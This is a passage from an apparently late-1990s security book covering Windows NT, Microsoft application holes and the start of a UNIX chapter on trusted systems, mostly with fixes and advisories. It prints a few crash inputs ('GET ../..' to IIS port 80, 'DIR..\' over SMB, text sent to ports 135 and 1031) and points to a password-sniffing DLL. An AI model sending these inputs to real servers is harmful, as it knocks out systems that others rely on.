others are solely the responsibility of third-party vendors. Many of these holes have \nbeen fixed. However, as I have mentioned, not everyone gets the latest and the greatest. \nMany people may be running versions of software that have not been patched. \nThe Microsoft Word Macro Viruses \nIt is surprising how many Microsoft users are unaware that sophisticated macros can be \nwritten in the Microsoft Word environment. WordBasic, the language in which such \nmacros are written, is highly functional. In Word documents alone, WordBasic can save a \nuser many hours of editing. It fully supports while...if...then...else conditional \nexecution of commands. This level of functionality (when coupled with recording of \nkeystrokes) can automate almost any task performed in Word. For that reason, \nWordBasic qualifies as a bona fide scripting language. \nAs you might expect, pranksters on the Net have found innovative, new uses for the \nWordBasic language. One of those uses is to create malicious macros, or macro viruses. \nThese can be gotten from the Internet. They will infect your normal.dot, thereby \naltering (and perhaps severely retarding) your default document environment. \nThe most well known of these macro viruses is called Concept. Concept infects not only \nthe normal.dot file but any DOC file it can access. Reportedly, after the first infection \n(the first instance that Word is opened after initial infection), every document saved \nthereafter will also be infected. It also reportedly works on any platform that runs Word \nand has been found on at least one commercial CD-ROM distribution, as noted by \nGraham Cluley in his article \"Another Instance of Concept Macro Virus in Microsoft CD \nROM\": \nWe have come across another Microsoft CD ROM containing Concept, a MSWord macro virus. \nThe CD ROM is called \"The Microsoft Office 95 and Windows 95 Business Guide.\" The infected \nfile is \\OFFICE95\\EVIDENCE\\ HELPDESK.DOC. The document's date is July 28th 1995, and \nthe file date itself is August 17 1995. \n \nCross Reference: There is a reliable military site where you can acquire tools to \ndetermine whether your machine has been infected. That site is located at \nhttp://www-\nyktn.nosc.mil/Desktop_Support/winword/concept_virus.htp. \n" }, { "page_number": 315, "text": " \n \nThe main tool for identifying the virus is a Word document macro. You \ncan get it at http://ded-2-\nnt.nosc.mil/~pub/MSOffice/Winword/virus/WVFIX.DOC. \n \nAt one point, a fix was issued for this. It was called scanprot.dot, and its primary \npurpose was to scan for the Concept virus. However, this tool was somehow confused in \nthe public's eyes as a utility that could identify all macro viruses. Microsoft finally set the \nrecord straight. Since that time, many Word macro viruses have cropped up. Here are just \na few: \n• \nzenixos \n• \nimpostor \n• \nnuclear.b \n• \nhot \n• \nwazzu \nAs you might guess, these types of viruses are becoming increasingly popular. They are \nsmall, require almost no memory, and are easily concealed in downloadable materials. \nThese viruses do not represent a threat to Internet security, but they can be caught from \nthe Internet. Most of them do little more than corrupt your documents. However, they are \na nuisance, and you should take measures to prevent them from infecting your machine. \nOne way to do this is to disable automatically executed macro support in Word. \n \nNOTE: It is reported that the Microsoft Word Wizard will not operate if you disable \nautomatic macro execution. If you are a frequent user of wizards, you may have to make \nsome sacrifices. \n \n \nCross Reference: You can find the authoritative sources for information on Word macro \nviruses at these locations: \nhttp://www.datafellows.com/macro/faq.html \nhttp://gasp.berkeley.edu/virus/wordmacro.html \n \nThe Microsoft FrontPage Web Server Hole \nMicrosoft FrontPage is recognized as one of the best tools for designing WWW pages. \nCoupled with Microsoft's Image Composer, FrontPage provides the average user with a \ntotal Web solution. Moreover, the product distribution includes a personal Web server. \nThis utility serves Web pages directly from your home or office machine (without \nrequiring the use of an intermediate UNIX server). Thus, files and pages can be kept \nlocal. \nUnfortunately, early versions of Microsoft's FrontPage Web server were distributed with \na Practical Extraction and Report Language interpreter (PERL.exe). If this is placed in the \n" }, { "page_number": 316, "text": " \n \n/cgi-bin/ directory, a massive security hole develops. It allows any remote user to \nexecute arbitrary commands on your local machine. \nI would not have mentioned this here, except that older demo versions of FrontPage may \nsurface in places other than the Microsoft home page. This is not unreasonable. There are \nstill early versions of Microsoft Internet Explorer circulating on demo CD-ROMs from \nmagazines and such. \n \nCross Reference: For more information about this hole, check out Microsoft's Web site \nat http://www.microsoft.com. \n \nThe O'Reilly WebSite Server Hole \nO'Reilly's WebSite Server for Windows NT/95 version 1 had a hole. If you have this \nWeb server loaded on your machine, disable the DOS CGI interface. If the DOS CGI \ninterface is enabled, it allows files with a *.BAT command extension to be executed. \nThrough this hole, crackers can execute arbitrary commands on your machine from a \nremote location (for example, they could effectively delete the contents of your hard disk \ndrive). The fix as reported by ORA is as follows: \nOpen the server's property sheet (server admin) and select the Mapping tab. Select the DOS CGI \nmapping list. Remove all entries. Close the property sheet. \n \nCross Reference: The previous paragraph is excerpted from ORA's WebSite security \nalert at http://website.ora.com/devcorner/secalert1.html. 03/96. \nAlso, there is a sample CGI application, win-c-sample.exe, that shipped with \nversion 1.0. This application is vulnerable to a buffer-overflow attack. \n \n \nCross Reference: Because no one seems to give credit to the individual who discovered \nthe buffer overflow hole, it seems right that I do so. To the best of my knowledge, this \nhole was identified by a hacker going by the handle Solar Designer. \n \n \nCross Reference: For more information about holes in O'Reilly's WebSite Server, check \nout http://website.ora.com/justfacts/facts.html. \n \nThe Microsoft Internet Security Framework \nOn December 20, 1996, Microsoft unveiled a white paper titled \"The Microsoft Internet \nSecurity Framework: Technology for Secure Communication, Access Control, and \nCommerce.\" In this paper, the company describes various aspects of its Internet security \nplan. This new conglomeration of technologies has been dubbed the MISF. \nMISF purportedly will integrate a series of technologies into Microsoft products, thus \nmaking them secure for Internet use. I briefly discussed one of these technologies earlier \nin this book: the certificate signature scheme for ActiveX controls (or in fact, any code \nthat you specify). It revolves around a technology called Authenticode, a system whereby \ndevelopers can digitally sign their applications. It consists of a series of programs. By \nusing these, the software developer ultimately earns a Software Publisher's Certificate \n" }, { "page_number": 317, "text": " \n \n(SPC), which is used to sign the application. Interestingly, you can sign the application in \ndifferent ways: as a provider, a commercial software developer, or an individual. \nThis system works effectively only if the signing party is honest. There is no guarantee \nthat signed code will be safe. Thus, the system actually subjects honest, upright \nprogrammers to additional hassle (nonetheless, I am confident this system will become \nexceedingly popular among developers of Microsoft products). However, there is a \ndarker side to this. \nThe greatest percentage of falsely signed code (code that is malicious and has been \nsigned as safe) will likely come from individuals. I suspect that many virus developers \nwill adopt this system, because it represents a chance to deposit their code into a largely \nunwary community (if a control is signed, the average person will probably download it). \nBecause of this, widespread use of such signatures will hurt the little guy. Here is why. \nBecause the technology is new, there have been no instances of signed malicious code. \nHowever, as time passes and signed malicious code surfaces, the average user will be less \nlikely to download software from new companies or lone software developers (certainly, \nthe public will be much less likely to download unsigned code). Moreover, this system \nmay cause even further alienation of foreign developers (more than once, the sense of \nalienation experienced by foreign developers has been blamed for the high number of \nviruses believed to have originated on foreign soil). Finally, there is something a bit \nominous about having to provide a public key to engage in commerce as a software \ndeveloper. What happens to the remaining folks who refuse to comply with the program? \nIf they suffer in the market for lack of compliance, antitrust issues may develop \n(particularly if this becomes the only accepted method of okaying software). \n \nNOTE: In February 1997, members of the famed German hacker group known as the \nChaos Computer Club used a signed application to demonstrate the weakness of the \nMicrosoft platform and of application signing generally. On national television, they used \nthis application to gain unauthorized access to a personal computer, start an instance of \nQuicken, connect to the victim's online bank account, and transfer money from the \nvictim's account to another. This was a crushing blow to the signing model. I explain this \nin further detail in Chapter 30, \"Language, Extensions, and Security.\" \n \nIn any event, Microsoft is at least going in the right direction. Public and private key \nencryption schemes are among the most secure today. Moreover, the new technologies \npresented within Microsoft's white paper about MISF suggest that Microsoft is quite \nserious about solutions in Internet security. \nMicrosoft Windows NT \nMicrosoft Windows NT has a real security model and a good one. The most important \nelement of that security model concerns access control. Access control is a form of \nsecurity most often seen in UNIX-based operating systems. It involves the control of who \ncan access files, services, and directories. In certain instances, this also involves times \nduring which this access can occur. \n \n" }, { "page_number": 318, "text": " \n \nNOTE: For basic networking, Novell NetWare has always been a fairly secure platform \nand has long supported access control. This does not mean NetWare cannot be cracked \n(see Chapter 18, \"Novell\"). However, control over file and time access has been an \nintegral part of the Novell NetWare security model. \n \nDAC \nIn security vernacular, DAC is generally referred to as discretionary access control \n(DAC). DAC involves being able to completely control which files and resources a user \nmay access at a given time. For example, perhaps only a small portion of your staff needs \nto access Microsoft Excel. In the Windows NT security model, you can deny access to all \nother users who are unauthorized to use Excel. \nIn DAC, there are different levels of control. For example, some operating systems or \nutilities offer only moderate control (perhaps one system might allow an administrator to \nblock user access to directories or partitions). This type of control is not really suitable in \nlarge networks, where one or more directories may hold applications or resources that \nother programs need in order to execute. The Microsoft Windows platform is a good \nexample of this. Most applications written for Windows sport multiple file dependencies. \nThat means the application may need files from different parts of the system in order to \nfunction correctly. \n \nNOTE: If you have ever had a bad installation of a product intended to run in Windows, \nyou know something about this. The application so installed will, when executed, \nforward a series of error messages, requesting files that it cannot locate. In most cases, \nunless the program locates those files, it will not run (or if it does, it will probably GPF or \nexit on error). \n \nThe degree to which a DAC system can control file and directory access is referred to in \nsecurity vernacular as granularity. Granularity is, quite simply, an index for measuring \njust how detailed that access control can be. If, for example, you can choose a directory \nand restrict access to five files within it to a particular group but also allow all users to \naccess the remaining ten files in that directory, then you are dealing with fairly advanced \ngranularity. \nDAC is a technology that has trickled down from defense sources. In defense \nenvironments, administrators must be assured that only authorized personnel can access \nsensitive data. \n \nCross Reference: For a greater understanding about DAC, how it evolved, and what it \nmeans in terms of national computer security, you should read DoD 5200.28-STD, the \nDepartment of Defense Trusted Computer System Evaluation Criteria (this publication is \nmore commonly referred to as the Orange Book). It can be found at http://www.v-\none.com/newpages/obook.html. \n \nDAC is based on common sense: If crackers do not have access to the files, they cannot \ncrack the machine. Setting proper file permissions is the first phase of securing a \n" }, { "page_number": 319, "text": " \n \nWindows NT machine. However, in order to do it, you must enable the NTFS option at \ntime of installation (alas, we must begin at the beginning). \nNTFS is the enhanced file system included with the NT distribution. At installation, you \nare confronted with the option of installing a FAT file system or an NTFS file system. \nThere is a sharp difference between the two. The FAT file system will grant you some \nsecurity, for you can control user access and authentication. However, for severely \ngranular control (control over each file and directory), you must convert the partition to \nNTFS. This is a point often missed by new system administrators. \n \nCAUTION: Converting the partition to NTFS provides compressive security but is not \ninfallible. For example, a kid sporting a Linux boot disk (only certain versions of Linux) \ncan effectively bypass all of the file restrictions imposed by the NTFS DAC method (I \nam quite sure that CS lab administrators will be pleased to hear this). Also, this is not the \nonly type of boot disk that will perform this task. When a file called NTFSDOS.EXE, \nwhich is being circulated on the Internet, is placed on a DOS or Windows 95 boot disk, it \nallows a cracker to bypass all file restrictions. Until this is fixed, NT will never get a \nhigher rating than C2 on the EPL. Only those who rely solely upon Microsoft press \nreleases and bug fixes actually believe that out-of-the-box NT is secure. \n \nAs noted, the NTFS security model is not perfect. For example, it is known that in certain \ndistributions (such as 3.51), users without privileges can delete files. Microsoft has \nacknowledged this fact in an advisory. It involves any instance in which a user creates a \nfile and removes all permissions from it. Technically, that file should still be untouchable \nto anyone but its author. However, for reasons not yet determined, the unauthorized user \ncan delete the file. As noted in a Microsoft technical article titled \"Users Without \nPermissions Can Delete Files at Server,\": \n[The user] sees My.txt [the file] in the Testdir directory. All the security options in File Manager \nare greyed out with regard to My.txt. He is unable to change permissions on the file or take \nownership of the file. This is expected behavior. If he tries to rename the file, open it in Notepad, \nor type it out at a prompt, he gets an Access Denied message. However, he can delete the file with \nno problem. \nOther problems have been acknowledged. For example, it is reported that if you start the \nFile Manager application in 3.51 using the Office toolbar, file permissions are bypassed. \nThis appears to be inherent only in Microsoft Office 97 applications (specifically, Excel \nand Word 7.0 for Windows 95). This problem has been corrected in subsequent \ndistributions of these applications. Moreover, it has been reported that one would need \nincreased access authorization to exploit this hole. \nIn general, however, Windows NT DAC is quite good. It resembles in some ways the \nDAC scheme implemented under UNIX-based operating systems. At the heart of this \nprocess are the theories of file ownership and privileges. Thus, whoever creates a file \nowns that file. The degree to which other users may examine that file depends on what \nrestrictions were set forth by the administrator. \nNote that this does not close every local security hole and that many processes require \nfiles to have more liberal ownership than you might like. For example, consider Common \nGateway Interface (CGI) scripts used to provide functionality to Web pages (these scripts \n" }, { "page_number": 320, "text": " \n \nare commonly used to generate quotes, process mail requests, and access databases). \nSuch scripts must have file permissions that, at the very least, allow outsiders (through \nthe Web server) to access them. Thus, the Web server must have at least partial \nownership or privileges to execute these files. \nSo on your drives, you might have files that can be read by some, written by others, and \nexecuted by still others. This presents the very first problem with regard to DAC: it is \ncomplicated. For example, on networks where permissions are set not only on files and \ndirectories, but also on partitions or network drives, the system administrator can become \noverwhelmed with the possibilities. For this reason, NT system administrators must be \nevery bit as knowledgeable (and as obsessive) as UNIX system administrators. \nHowever, this is where the process of NT security starts. Before setting up a network, you \nmust first determine who will need access to what. Some utilities are available to make \nthe process easier. \nDump ACL \nDump ACL (which incidentally has a shareware version) is probably the most important \ntool for a new NT administrator. Its function is simple: It gathers all permissions on the \nbox and displays them in consolidated format. By analyzing this data, a system \nadministrator can quickly find misconfigurations, bad privilege schemes, and security \nholes. The analysis provided by this tool is comprehensive, treating all permissions and \nprivileges on files and directories. It also reports various audit settings. In essence, this is \na start of a great security profile, saving the administrator hours of work and providing \nthe output in convenient, table format. \nThis tool, created by Somar Software, is available at the following location: \n• \nhttp://www.net-shopper.co.uk/software/nt/dmpacl/index.htm \nNT RegFind \nThis program scans the NT Registry. It was originally written in the Perl programming \nlanguage, but has since been rewritten in C. It runs through a command shell at a prompt. \nThere are reports that the author will be adding a front end to this at some point in the \nfuture. \nThe primary use for the program is to identify outdated objects or links within the \nRegistry. These may be sources of security problems. This utility makes the search quick \nand convenient. The command line options afford the administrator an enormous amount \nof control over how the search is performed. \nNT RegFind can be found online at \n• \nhttp://www.net-shopper.co.uk/software/nt/regfind/index.htm \nNTRegmon--Registry Monitor V1.3 \n" }, { "page_number": 321, "text": " \n \nNTRegmon monitors user-initiated privileged system calls. The authors have a \ndistribution that includes the source. The following URL provides a very detailed \nexplanation of how this service is accomplished: \n• \nhttp://www.ntinternals.com/ntregmon.htm \nI should note here that NT does not have the same problems with password authentication \nand encryption that Windows for Workgroups and Windows 95 have. Nonetheless, you \nshould be aware that the NT password implementation is not entirely secure. For \nexample, the following boasts C code to fashion a DLL file that will sniff passwords. In \nfact, the utility will sniff the username and password into plain text. That utility (or \nrather, the source for it) is located here: \n• \nhttp://www.hidata.com/guest/NThacks/passworddll.htm \nMoreover, NT passwords are reportedly vulnerable to brute-force attacks. Some utilities \navailable to strengthen your local passwords follow. \nScanNT \nScanNT is a very powerful utility for checking the strength of your passwords. It can \nimplement an attack that tries 10,000 keys per minute. Like most cracking utilities, it \nrequires that you use a dictionary file (and one sample dictionary file is provided in the \ndistribution). \nA demo version of this product is available at the following URL: \n• \nhttp://www.omna.com/yes/AndyBaron/pk.htm \n \nNOTE: You must have advanced system privileges to run this application. The company \nthat provides this software also performs password recovery services for businesses. \n \nBefore I get into strictly Internet-related NT security, I should say something about \nsuspicious internal activity. It is likely that most attacks will originate from people on \nyour own network (those attacks might just be employees fooling around, or they could \nderive from a mole for a competitor). To keep an eye on internal security, there are a few \nutilities you should know about. \nMicrosoft's Systems Management Server \nMicrosoft has an excellent product called the Systems Management Server. Contained in \nthis application is a program called Network Monitor (Netmon). This product, when used \nin the wrong hands, can reveal vital information trafficked over the network, including \nbut not limited to passwords. This product is the equivalent of a sniffer. For more \ninformation, check out the following URL: \n• \nhttp://www.microsoft.com/SMSMGMT/revgd/sms00.htm \nIP-Watcher \n" }, { "page_number": 322, "text": " \n \nIP-Watcher by Engarde, a veteran in the field of security that offers other security \nproducts, is the equivalent of a very powerful activity sniffer. Its most valuable quality is \nthat it provides a technique of logging. It can catch internal security violations and record \nthese instances. This is excellent for preparing evidence against unlawful activity. This \ntool should be restricted from unauthorized or untrusted users. IP-Watcher is a very \npowerful tool. For example, according to documentation provided by Engarde: \nPasswords can be stolen for any given connection. If the password was missed, an attacker could \nkill the connection and wait for the user to login again. Most users don't find the network crashing \nout of the ordinary, and login again without a second thought. \n \nCross Reference: The previous paragraph, excerpted from IP-Watcher Risks: Quick \nOverview, can be found online at \nhttp://www.engarde.com/software/ipwatcher/risks/overview.htm\nl. \n \nMore information about IP-Watcher can be found online at \n• \nhttp://www.engarde.com/software/ipwatcher/watcher.html \nNT Vulnerabilities from the Void \nThis section examines some of the problems that you may encounter from the outside \nworld. Following are ways to subvert the security of NT and effect denial-of-service \nattacks against NT. If you run a Windows NT Web server, expect bozos from the void to \ntry any or all of these techniques to harass you or render your server inoperable. \nRemote Hole on Port 80 \nMicrosoft Windows NT 4, using Internet Information Server 2.0 or earlier, contains a \nserious bug that allows outsiders to completely mangle your Web server. To test whether \nyou are vulnerable to this attack, initiate a Telnet session to port 80 and type the \nfollowing command: \nGET ../.. \nIf you are vulnerable, your Web server will die and the machine will likely crash. Note \nthat this bug is not evident in IIS 3.0. To fix the problem, obtain Service Pack 1a and \nService Pack 2 from Microsoft. \nPort 80 is the standard port on which Web servers are normally run. To reach this port by \nTelnet, you must specify both the address of the targeted server and the port (see Figure \n16.7). \nFIGURE 16.7. \nInitiating a Telnet session to port 80 in Windows 95. \nDenial-of-Service Attacks \nCertain distributions of NT are vulnerable to a denial-of-service attack. This attack will \nvirtually kill the box. The attack involves sending the CPU of the NT server into 100 \npercent utilization. This effectively brings the machine to a grinding halt. The attack is \n" }, { "page_number": 323, "text": " \n \nimplemented by a program that consists of only five lines of code. That program (called \nCPUHog, written by Mark Russinovich) is located here: \n• \nhttp://www.ntinternals.com/cpuhog.htm \nThe problem was covered extensively in a December 1996 article by Eamonn Sullivan in \nPC Week Magazine. Sullivan writes: \nPC Week Labs was able to duplicate Russinovich's findings. When run on Windows NT 4.0, for \nexample, the only way to regain control once CpuHog was executed was to reset the PC. \nMark Russinovich is a consultant with Open Systems Resources, Inc. Russinovich \nmaintains a page at http://www.ntinternals.com/. On that page are various utilities \nrelated to Windows NT security and system integrity, including one program that crashes \nNT boxes entirely. This utility has demonstrated some fairly significant weaknesses in \nthe operating system. Russinovich and his associate, Bryce Cogswell, have a book \ncoming out about Windows NT titled Windows NT Internals. I recommend it. \nMeanwhile, that is not the only denial-of-service attack that can be implemented against \nWindows NT. Other attacks involve simply initiating a Telnet session to certain ports. \nNaturally, these ports have to open for the attacks to be successful. However, I would bet \nthat a significant percentage of system administrators fail to examine the higher range \nports. For example, initiate a Telnet connection to port 135 or port 1031. After you \nreceive a confirmation that you have contacted the port, send several lines of text and \ndisconnect. If the machine has a vulnerable distribution, the CPU of the target will \nimmediately jump to extreme utilization (this will incapacitate the target). One Perl script \nbeing circulated across the Internet automates this process. \n \nNOTE: Microsoft has issued a patch for the problem related to port 135, but as of this \nwriting there is no fix for port 1031. In fact, reports as recent as February 2, 1997, reveal \nthat many ports are vulnerable to this attack. \n \nFor the moment, it is likely that such holes will continue to surface. Therefore, system \nadministrators should enable not only packet filtering, but also deep logging. If your \nnetwork is victimized by some malicious character in the void, you will want his IP \naddress. \nNT Server version 4.0 is also reportedly vulnerable to a denial of DNS (domain name \nservice) attack. Crackers can implement this by sending a response packet to the DNS \nserver of an NT DNS server. The server receives the response packet, cannot process the \ntransaction, and promptly crashes. Some sources indicate that Service Pack 3 will provide \na fix. \nThere is also reportedly a bug that allows a remote user to gather important information \nabout an NT box. This is done using the NBTSTAT command. The user issues an NBTSTAT-\n-a query on the targeted host to get that host's name. The resulting name is placed in the \nlmhosts file. Subsequent network queries about the host will reveal shared out \ndirectories, a list of users, and other vital network information (the information gathered \n" }, { "page_number": 324, "text": " \n \nis roughly equivalent to that in UNIX when utilizing the showmount command and \nrusers). \nThe SMB Problem \nThe Microsoft platform uses a protocol called the Server Message Block (SMB) protocol. \nSMB was introduced sometime in 1987. Like most protocols currently running on the \nInternet, SMB is based on the client/server model. \n \nCross Reference: Hard-core documentation on the internal specifications of SMB can be \nfound at ftp://ftp.microsoft.com/developr/drg/CIFS/. This site is the \nmain distribution point for Microsoft's documentation on SMB. The file of greatest \nimportance for users wanting to learn the advanced technologies behind SMB is called \nSMB-CORE.PS. This file is in PostScript, and you will require a PostScript reader to \nview it. \n \nFor purposes of brevity, I will not launch into an exhaustive review of SMB. Basically, it \nis a network file-sharing protocol based on the client/server model. It is used to share \nfiles, directories, printers, and serial communication links. It can be run over (and in \nconjunction with) a number of other protocols, including \n• \nTCP/IP \n• \nNetBIOS \n• \nIPX/SPX \nUnder certain circumstances, a talented cracker can exploit the SMB protocol to gain \naccess to shared-out directories on an NT 3.5 or 3.51 box. There are two different aspects \nto this; the first involves a denial-of-service attack that is implemented by disabling the \ntarget host. This is accomplished in the following manner: \nA cracker using an SMB client package (SAMBA) sends the following message to the \nSMB server on the remote NT box: \nDIR..\\ \nThis crashes the target. Microsoft acknowledged this problem and hastily distributed a \nfix, which you should obtain if you are running 3.5 or 3.51. \n \nCross Reference: I recommend reading the Microsoft advisory on this problem; this \nadvisory can be found online at \nhttp://www.microsoft.com/kb/articles/q140/8/18.htm. \n \nThe second hole is more complex and is not likely to be penetrated by the average \ncracker. It is reported that shared-out directories can be mounted from a remote location \nusing the SAMBA client. This is a complex attack, involving advanced methods of \nspoofing. As a July 1996 technical paper explains: \nAny attacker that can inject packets into the network that appear to the server to be coming from a \nparticular client can hijack that client's connection. Once a connection is set up and the client has \n" }, { "page_number": 325, "text": " \n \nauthenticated, subsequent packets are not authenticated, so the attacker can inject requests to read, \nwrite, or delete files to which the client has access. \n \nCross Reference: The previous paragraph is excerpted from an RFC titled \"Common \nInternet File System Protocol (CIFS/1.0),\" by I. Heizer, P. Leach, and D. Perry. It can be \nfound online at ftp://ietf.cnri.reston.va.us/internet-\ndrafts/draft-heizer-cifs-v1-spec-00.txt. \n \nSuch an attack is extremely complex. Few crackers possess the knowledge and expertise \nto implement such a technique. \nSummary \nThis chapter has provided only a cursory overview of Microsoft platform security. \nHowever, as you progress in this book, the information offered here will serve you well. \nAs I discuss other techniques of attacking remote servers, you will be able to apply that \nnew information to what you have learned here. In reality, a multi-volume encyclopedia \ncould be written about Microsoft security. Before you progress to the next chapter, I want \nto leave you with some resources on Microsoft security. \nResources \nMicrosoft Windows NT 3.5: Guidelines for Security, Audit, and Control. Microsoft \nPress. ISBN: 1-55615-814-9. \nWindows NT Administration: Single Systems to Heterogeneous Networks. Marshall \nBrain and Shay Woodard. Prentice Hall. ISBN: 0-13-176694-5. 1994. \nInside the Windows NT File System. Helen Custer. Microsoft Press. ISBN: 1-55615-\n660-X. 1994. \nNT Server: Management and Control. Kenneth L. Spencer. Prentice Hall, October \n1995. ISBN: 0-13-107046-0. \nMicrosoft Windows NT TCP-IP Guide. Microsoft Press. ISBN: 1-55615-601-4. 1993. \nManaging Windows NT Server 4. Howard Hilliker. New Riders. ISBN: 1-56205-576-3. \nWindows NT 4 Electronic Resource Kit. Sams.net. ISBN: 0-67231-032-5. \nInside Windows NT Server 4. Drew Heywood. New Riders. ISBN: 1-56205-649-2. \nPeter Norton's Complete Guide to Windows NT 4.0 Workstation. Peter Norton and \nJohn Paul Mueller. Sams Publishing. ISBN: 0-67230-901-7. \n\"A Guide to Understanding Discretionary Access Control in Trusted Systems.\" \nTechnical Report NCSC-TG-003. National Computer Security Center. 1987. \n\"Authentication and Discretionary Access Control.\" Paul A. Karger. Computers & \nSecurity, Number 5, pp. 314-324, 1986. \n" }, { "page_number": 326, "text": " \n \n\"Extended Discretionary Access Controls.\" S. T. Vinter. SympSecPr, pp. 39-49, \nIEEECSP, April 1988. \n\"Beyond the Pale of MAC and DAC--Defining New Forms of Access Control.\" \nCatherine J. McCollum, Judith R. Messing, and LouAnna Notargiacomo. SympSecPr, \nResearch in Security and Privacy, pp. 190-200, IEEECSP, May 1990. \n" }, { "page_number": 327, "text": " \n \n17 \nUNIX: The Big Kahuna \nSome things need to be said about this chapter and the way it was written. As I sat before \nmy machine, a blank page staring me in the face, I contemplated how I would structure \nthis chapter. There were shadows looming over me and I want to discuss them here. \nUNIX folks are a breed unto themselves. Some may know firewalls, some may know \nscanners, some may know exploit scripts, and so forth. However, they all share one \ncommon thing: They know their operating system exceedingly well. The average UNIX \nsystem administrator has probably written his own printer drivers on more than one \noccasion. He has also likely taken the source code for various stock utilities and reworked \nthem to his own particular taste. So this chapter--to be any good at all--has to be filled \nwith technical information of practical value. \nConversely, there are a lot of readers scouring these pages to learn about basic UNIX \nsystem security. Perhaps they recently installed Linux or FreeBSD because it was an \ninexpensive choice for a quick Web server solution. Perhaps they have had a UNIX box \nserving as a firewall at their offices--maintained by some outside technician--and they \nwant to know what it actually does. Or perhaps this class of readers includes journalists \nwho have no idea about UNIX and their editors have requested that they learn a little bit. \nI considered all these things prior to writing even a single paragraph. What was the end \nresult? A long chapter. UNIX folks can cut to the chase by breezing through each section. \n(There are tidbits here and there where important information appears, so keep an eye \nout.) The rest of the folks can read the chapter as an entire block and learn the following: \n• \nWhat security holes exist \n• \nWhere they exist \n• \nWhy they exist \n• \nWhat utilities are available to plug them \nI hope this chapter will be of value to all. Also, because UNIX security is so complex, I \nam sure I have missed much. However, whole volumes are written on UNIX security and \nthese still sometimes miss information. Therefore, we venture forth together, doing as \nbest we can under the constraints of this book. \nThe UNIX Platform Generally \nThe UNIX platform has evolved over the years. Today, it can be defined as a 32- (or 64-) \nbit multitasking, multiuser, networked operating system. It has advanced security \nfeatures, including discretionary access control, encryption, and authentication. \nCan UNIX Be Secure? \n" }, { "page_number": 328, "text": " \n \nUNIX can be secure. However, it is not secure in its native state (that is, out of the box). \nOut-of-the-box weaknesses exist for every flavor of UNIX, although some distributions \nare more insecure than others. Certain versions of IRIX (SGI), for example, or most early \nversions of Linux have Class A or B holes. (Those holes allow outsiders to gain \nunauthorized access.) These holes are not a terminal problem (no pun intended); they \nsimply need to be plugged at first installation. That having been done, these versions of \nUNIX are not different from most other versions of nonsecure UNIX. \nWhat Is \"Secure\" UNIX? \nWhat is secure UNIX (or as it is sometimes called, trusted UNIX)? Secure UNIX is any \nUNIX platform that been determined by the National Security Agency (NSA) to have \nexcellent security controls. These versions must be on the NSA's Evaluated Product List \n(EPL). Products on this list have been rigorously tested under various conditions and are \nconsidered safe for use involving semi-sensitive data. \nThis evaluation process is under the Trusted Product Evaluation Program, which is \nconducted on behalf of the National Computer Security Center, and both organizations \nare elements of the National Security Agency. These are the people who determine what \nproducts are \"safe\" for use in secure and semi-secure environments. \nThe products are rated according to a predefined index. This index has various levels of \n\"assurance,\" or classes, of security. As described in the TPEP FAQ: \nA class is the specific collection of requirements in the Trusted Computer System Evaluation \nCriteria (TCSEC) to which an evaluated system conforms. There are seven classes in the TCSEC: \nA1, B3, B2, B1, C2, C1, and D, in decreasing order of features and assurances. Thus, a system \nevaluated at class B3 has more security features and/or a higher confidence that the security \nfeatures work as intended than a system evaluated at class B1. The requirements for a higher class \nare always a superset of the lower class. Thus a B2 system meets every C2 functional requirement \nand has a higher level of assurance. \n \nCross Reference: \"TPEP FAQ: What Is a Class?\" can be found online at \nhttp://www.radium.ncsc.mil/tpep/process/faq-sect3.html#Q4. \n \nThe two UNIX products that are positioned highest on the list (levels B3 and B2, \nrespectively) are identified in Table 17.1. According to the National Security Agency, \nthese are the most secure operating systems on the planet. \nTable 17.1. Trusted, secure UNIX products. \nOperating System \nVendor \nClass \nXTS-300 STOP 4.1a* Wang Federal, Inc. \nB3 \nTrusted XENIX 4.0* Trusted Information Systems, Inc. B2 \n*These operating systems have earlier versions that have all been determined to be in the \nsame category. I have listed only the latest versions of these products. \nTo examine earlier versions (and their ratings), refer to \nhttp://www.radium.ncsc.mil/tpep/epl/epl-by-class.html. Wang Federal's XTS-\n300/STOP 4.1a is not just an operating system, but an entire package. It consists of both \n" }, { "page_number": 329, "text": " \n \nhardware (Intel 80486 PC/AT, EISA bus system) and software (the STOP 4.1a operating \nsystem). It sports a UNIX-like interface at lower levels of the system. At higher levels, it \nutilizes a hierarchical file system. This operating system has extreme DAC (data access \ncontrol) and is suitable for sensitive work. STOP 4.1a has the very highest rating of any \noperating system. As reported by the EPL: \nBeyond the minimal requirements for a B3 system, the XTS-300 provides a mandatory integrity \npolicy, an extra subtype policy, and a familiar, UNIX-like environment for single-level \napplications. Integrity can be used for, among other things, virus protection. The UNIX-like \nenvironment supports binary compatibility and will run many programs imported from other \nsystems without recompilation. \n \nCross Reference: You can find this report by the EPL online at \nhttp://www.radium.ncsc.mil/tpep/epl/epl-by-class.html. \n \nSome night when you have a little play time, you should visit Wang Federal's site \n(http://www.wangfed.com/). The Technical Overview of the XTS-300 system will \ndumbfound you. At every level of the system, and for each database, application, user, \nterminal, and process, there is a level of security. It operates using a construct referred to \nas \"rings of isolation.\" Each ring is exclusive. To give you an idea of how incredibly tight \nthis security system is, consider this: Ring 0--the highest level of security--is totally \nunreachable by users. It is within this ring that I/O device drivers reside. Therefore, no \none, at any time, can gain unauthorized access to device drivers. Even processes are \nrestricted by ring privileges, allowed to interact only with those other processes that have \nthe same or lesser ring privileges. Incredible. But it gets better. If a terminal is connected \nto a process that has a very low level of ring privilege, that terminal cannot \nsimultaneously connect to another process or terminal maintaining a higher one. In other \nwords, to connect to the process or terminal with a higher privilege, you must first \"cut \nloose\" the lower-privileged process. That is true security (especially because these \nconventions are enforced within the system itself). \n \nCross Reference: Wang Federal is the leading provider of TEMPEST technology, which \nis designed to defeat the interception and analysis of the electronic emanations coming \nfrom your computer. These electronic signals can \"leak out\" and be intercepted (even as \nfar as several hundred yards away). TEMPEST technology can prevent such interception. \nThis prevention generally involves encasing the hardware into a tight, metal construct \nbeyond which radiation and emanations cannot escape. To see a photograph of what such \na box looks like, visit \nhttp://ww.wangfed.com/products/infosec/pictures/tw3.gif. It \nlooks more like a safe than a computer system. \n \nAn interesting bit of trivia: If you search for holes in any of Wang Federal's products, you \nwill be searching a long, long time. However, in one obscure release of STOP (4.0.3), a \nbug did exist. Very little information is available on this bug, but a Defense Data \nNetwork (DDN) advisory was issued about it June 23, 1995. Check that advisory for \nyourself. It is rather cryptic and gives away little about the vulnerability, but it is \ninteresting all the same. \n \n" }, { "page_number": 330, "text": " \n \nCross Reference: You can find the DDN advisory about STOP online at at \nftp://nic.ddn.mil/scc/sec-9529.txt. \n \nThe next product down is Trusted XENIX, an 